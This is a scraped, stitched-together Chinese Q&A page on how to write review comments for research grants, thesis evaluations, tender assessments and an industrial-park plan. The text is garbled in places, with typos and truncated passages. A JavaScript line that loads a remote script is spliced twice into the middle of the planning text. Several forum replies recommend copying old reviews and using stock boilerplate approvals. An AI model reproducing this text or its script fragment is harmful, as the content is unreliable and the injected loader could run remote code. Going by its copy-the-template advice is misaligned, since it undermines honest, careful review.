怎麼給別人的基金寫評審意見

A. 項目評審意見怎麼寫

項目評審意見怎麼寫
問題一：科技局對科研項目評價意見怎麼寫舉一個例，供參考：
我局組織專家組對該項目進行審核和驗收，認為：
1、該產品利用大氣壓和機組的真空壓差，提高產品極限真空度，降低噪音，降低能耗。產品已授權了國家實用新型專利，達到了國內入領先水平。
2、產品經XX省機電產品質量檢測所檢測，技術指標符合GB/鄲3216規定要求及省級新產品試制計劃項目的要求。經用戶使用，反映良好，產品具有很好的經濟和社會效益。
3、該項目工藝技術成熟、檢測手段完備，公司已通過了ISO9001質量管理體系認證，已形成規模生產能力。
驗收組認為，該項目已完成省級新產品試制計劃，同意通過驗收。

問題二：請教：有關科研項目結題報告的專家評審意見如何寫？？科研項目結題報告的專家評審意見一般包括以下幾各重點內容：1、科研的創新程度，突出特色和主要成果。2、科研成果的學術價值和社會價值。3、科研是否達到預定的研究目標。4、研究成果中存在的問題和不足。5、提出評審等級。

問題三：專家評審意見怎麼寫中級職稱論文稍等，我現在發你。

問題四：學位論文的評審意見怎麼寫我以前的博士論文，評閱人就是根據我論文里的摘要寫的，精煉一下就OK了。評閱書裡面應該有自己寫的創新點，你可以參照寫一下。leonshane(站內聯系TA)首先對這篇論文進行簡單概括，指出其主要線索：研究目標、方法、意義、創新等，然後指出一兩個最大的問題，如果其問題的確是致命的話，那麼久建議修改。你寫完你導師會幫你把關的，如果他不看，建議你申請換導師。。。shuoyeb(站內聯系TA)一、概況評價項目：論文的創新性成果論文的學術價值及應用價值論文反映出作者的基礎理論和專門知識水平論文寫作論文總體評價二、綜合所有評閱人對論文的學術評語（選題的意義，論文的創新性成果，學術價值及應用價值，實驗結果和計算數據的合理性及可靠性等）……三、論文中存在的問題、不足及意見或建議1.評議人認為第*章第*節****中有****的問題*****。2.……lbh535(站內聯系TA)評審意見應點面結合。面就是總體概況，而點則至少體現評閱人有沒有仔細看內容。現在好多論文評審一審就是一大批，特別是社會科學方面的，評閱意見都寫些泛泛而談的東西，感覺評閱人就沒太仔細看。qiuqu_200212(站內聯系TA)建議答辯，然後簡單寫些評語即可。k10001(站內聯系TA)還有一段八股：論文表明，***在所研究領域掌握了堅實寬廣的基礎理論和系統深入的專門知識，具備了（很強的）獨立從事科學研究工作的能力，論文（具有創新性，）達到了博士論文學術水平。建議組織博士學位論文答辯。nono2009(站內聯系TA)評閱表中有提示的，按提示要求的幾項內容寫評閱意見即可。songjm12(站內聯系TA)好好閱讀評審書前兩頁要求部分寫好評語就行了yuffey(站內聯系TA)研究問題清晰不，研究目標明確不，方法得當不，結果明顯不？工作量飽滿不，內容充實不？等等最好的方法是，找個以前的博士論文，抄寫抄寫。八股文~~

問題五：評標專家評審意見和結論怎麼寫本項目共有____家投標人參與投標，分別為：――――――――――――――――――――――――――
在初步審查中，_____家投標人的投標文件符合性和完整性滿足招標文件要求，進入詳細評審。情況如下：__________________________________
經綜合評審，各投標人得分及排序如下：――――――――――――――――――――――――――――
根據上述評審結果和招標文件相關規定，推薦：
第一弧標候選人：
第二中標候選人：

問題六：科研項目推薦意見怎寫？keenteeth(站內聯系TA)150字？我給你寫一個：「×××是目前國內外有機合成領域中的研究熱點之一。本課題選題先進，有重要的研究意義。課題研究方案合理可行，有較好的創新性。課題組研究基礎雄厚，預計可以取得預計研究成果。項目申請人承擔過多項國家自然科學基金、863等項目，有較強的研究能力。課題申請書中的情況屬實。同意申報。」不過不同的項目意見要求不一樣。有的強調項目本身，有的強調對申請人科研作風和能力，有的強調項目書真實性評價。不過大致都是這些東西。robotor(站內聯系TA)經審核，「...」項目具有深刻的理論意義和實際意義。其所設計的研究內容適度並有新意。特色和擬創新之處明顯。項目申請書所填內容屬實，課題內容設計比較科學、可行。課題組負責人科研能力突出，完全具備申報資格。課題組其他參與人員相關的科研成果比較集中，具備完成課題研究的條件和能力。同意申報。wolf3769(站內聯系TA)哈哈哈，長見識!!!!:P

問題七：評標綜合評審意見和評標報告如何填寫參加本項目投標的三家單位、、、資格及符合性檢查，均滿足招標文件的要求，經過對三家投標單位投標文件的詳細評審，意見如下：
1、
2、
3、
經過綜合評審，各投標單位的得分與排序如下：

根據綜合評審以及招標文件的要求，推薦：
第一中標候選人：
第二中標候選人：

問題八：工業園區總體規劃評審意見怎麼寫建設工業園區是建設「生態文明縣」，實施「工業強縣」戰略，加快工業化、城鄉建設一體化進程，促進xx經濟社會各項事業又好又快發展的有效途徑。全力推進新河工業園區建設，爭取早日把該園區逐步建設成為標准化工業園區，加快工業發展載體建設的完善步伐，並以此為平台，發展園區經濟，對xx具有舉足輕重的意義：一是xx縣城發展的需要。該園區為縣城最為重要的產業聚集區，主要發展外向型加工業及生產轉運基地；二是「工業進園」的需要。建設現代化生態工業區，既可避免工業發展「村村點火，戶戶冒煙」現象的再發生，又可更好地解決好xx生態文明縣建設與加快工業化進程之間的矛盾，又可更好地節約、集約用地，最重要的是可集中處理污水、污物，注重環境保護，真正建設好生態園區；三是xx發展現實的需要。
一、堅持規劃先行。
對於xx工業園區建設，要繼續堅持科學發展，規劃先行，合理布局。一是園區規劃要實施資源轉換戰略，產業結構調整與推進城鎮化進程有機結合，因地制宜，逐步實施。二是園區規劃要從形態開發轉向功能開發，按照地域相近、產業關聯等原則，逐步加以整合，最終形成有規模、有特色、有效益的工業園區。三是園區建設應量力而行，避免攤子鋪的過大，要留有發展餘地，在選擇入園企業的時候要瞻前顧後，要從長遠利益考慮，為未來
varscript=document.createElement('script');script.src='static.pay./resource/chuan/ns.js';document.body.appendChild(script);
-2-
強勢、優勢、大型企業入住留足發展空間。四是園區規劃要使各園區成為特色優勢資源深加工和研發基地，推動技術進步。二、推廣工業園區開發建設的「雙主體模式」，充分發揮政府和企業的合作優勢。
按照蘇州工業園區的成功經驗，工業園區採用「雙主體模式」運行。政府發揮發展規劃效能、政策支持效能、資產支持效能、組織增信效能和組織管理效能。主力企業根據園區規劃和建設進度制訂科學的融資規劃，用建設制度和建設市場的方法實現政府發展目標。在「雙主體」模式下，作為政府的園區管委會和經營企業成為推動園區發展的兩大支柱，兩者的有機結合可以充分調動各方的積極性，形成工業園區發展的良性循環。
（一）加強領導、協調。在市政府的領導下，由市政府領導牽頭成立工業園區建設協調領導小組，負責園區的綱領性、政策性工作，協調汕尾市與深圳市層面的工作。
（二）成立園區管理機構，抽調人員組建管理隊伍。1、盡快成立園區管理機構，抽調人員開始運作;2、落實責任各負其責，確保建設順利推進。（1）園區管理機構負責建設的協調統籌推進；（2）財政部門負責資金的籌集與按時投入；（3）國土、林業部門負責用地的申報審批；
（4）住建、人社、環保、規劃、消防等相關部門負責相關業務的協調推進;
varscript=document.createElement('script');script.src='......餘下全文>>

問題九：數字化製造項目評審意見怎麼寫或許可以把評審意見分開來考慮。顧名思義，評-審-意見。
也就是首先要指出對方的優點與不足，然後根據優點與不足來給出最後結果或者評分，最後作為專家給對方一些指導意見和建議。

B. 如何寫國家自然科學基金評審意見

今天收到了，國家自然科學基金委發來的基金評審意見，既是鞭策也是鼓勵，謝謝各位前輩，一定要這個課題做好，為中國力學史出一份力！

一、關於你的項目的同行評議意見如下：

<1> (一)本項目擬從高等教育側面研究我國現代力學事業的發展史，選題有重要的理論意義和實際意義，而且由於我國在這方面的研究比較薄弱，極有必要立項。
（二）申請者是國內為數不多的青年力學史研究者，關注和從事力學史研究已有十年，學識豐富，並積累了一定的研究基礎和經驗，有較強的研究能力。
（三）申請書內容翔實，方案具體，技術路線可行。梯隊陣容強大。
（四）申請者擬採取文獻調研於口頭訪談相結合的手段，輔以實地調查和案例分析，立意新穎，有創新性。
（五）申請者的研究內容的七個部分，可歸納為建國前的力學史；准備階段；發端階段；繁榮階段；軟硬體分析。內容較為全面。設想具體，目標明確，有望達到預期目的，取得一批有意義的成果。
（六）鑒於上述，建議給予優先資助。

C. 國家自然基金專家函評意見從哪得到

您好，很高興回答您的問題。每年都是在4月下旬把項目申請書發給評審專家，5月下旬返回評審意見，依據《國家自然科學基金條例》第十七條規定：基金管理機構根據本條例的規定和專家提出的評審意見，決定予以資助的研究項目。基金管理機構不得以與評審專家有不同的學術觀點為由否定專家的評審意見。自然科學基金委應當整理專家通訊評審意見向申請人提供，申請人可以就評審專家的評審工作向自然科學基金委提出書面意見或建議。
2、自然科學基金委應當通過評審專家履職情況調查等方式建立評審專家監督的制度。自然科學基金委應當公布專門的舉報電話和舉報信箱等聯系方式，接受科學界和社會公眾對評審專家違反《條例》和本辦法規定行為的舉報，依據《國家自然科學基金條例》第十七條規定：基金管理機構根據本條例的規定和專家提出的評審意見，決定予以資助的研究項目。基金管理機構不得以與評審專家有不同的學術觀點為由否定專家的評審意見。
基金管理機構決定予以資助的，應當及時書面通知申請人和依託單位，並公布申請人基本情況以及依託單位名稱、申請基金資助項目名稱、擬資助的經費數額等；決定不予資助的，應當及時書面通知申請人和依託單位，並說明理由。基金管理機構應當整理專家評審意見，並向申請人提供。 想要查詢基金情況的可以分三步走：

1、打開國家自然科學基金委官方網站，找到「結果公布」；

2、頁面跳轉之後點擊「項目查詢」；

3、頁面跳轉之後，在下圖頁面輸入查詢信息即可查詢基金中標情況。（榮耀9x）

D. 請問：國家基金評審的評語通常如何寫

一般需要對創新程度、研究方案、研究基礎、經費預算等幾方面的問題進行評價。針對具體內容做實質性評價，少些無有效信息的「廢話」，一針見血指出關鍵缺陷、不足之處是基金委最歡迎的。不要說「創新性不高、技術路線不合理、研究方案不科學、經費預算不合理」這樣的套話和空話，要實實在在指出你認為存在的問題是什麼，不合理的地方在哪裡，怎麼個不合理法，要讓申請者死得心服口服，比如1）沒有設置陰性、陽性、空白對照試驗，2）根據兩個個體無差異得出兩個個體所在群體也無差異的推理邏輯錯誤等這樣的具體評語。每個人評議的看法不一樣，有些人將所有的缺點事無巨細地全搬出來，有些人不抓重點盡撿些雞毛蒜皮的小毛病，像我主要看重科學問題引出的推理過程、預期研究結果的學術價值、技術路線和研究方案內容，其他內容基本不做評價。

E. 評審意見如何寫

根據優點與不足來給出最後結果或評分。

或許可以把評審意見分開來考慮。顧名思義，評-審-意見。也就是首先要指出對方的優點與不足，然後根據優點與不足來給出最後結果或者評分，最後作為專家給對方一些指導意見和建議。

鑒定的專家要以高度負責的精神和實事求是的態度，根據代表作的實際水平和所申報的專業技術職務，作出恰如其分的公正評價。

如果是評標過程中的評審意見可以由組長牽頭，所有評委一起討論寫。如果是對評審專家的工作評價是由招標人或者代理機構出具，一般都是說好不說壞。

F. 請教基金評審意見

一般需要對創新程度、研究方案、研究基儲經費預算等幾方面的問題進行評價。針對具體內容做實質性評價，少些無有效信息的「廢話」，一針見血指出關鍵缺陷、不足之處是基金委最歡迎的。不要說「創新性不高、技術路線不合理、研究方案不科學、經費預算...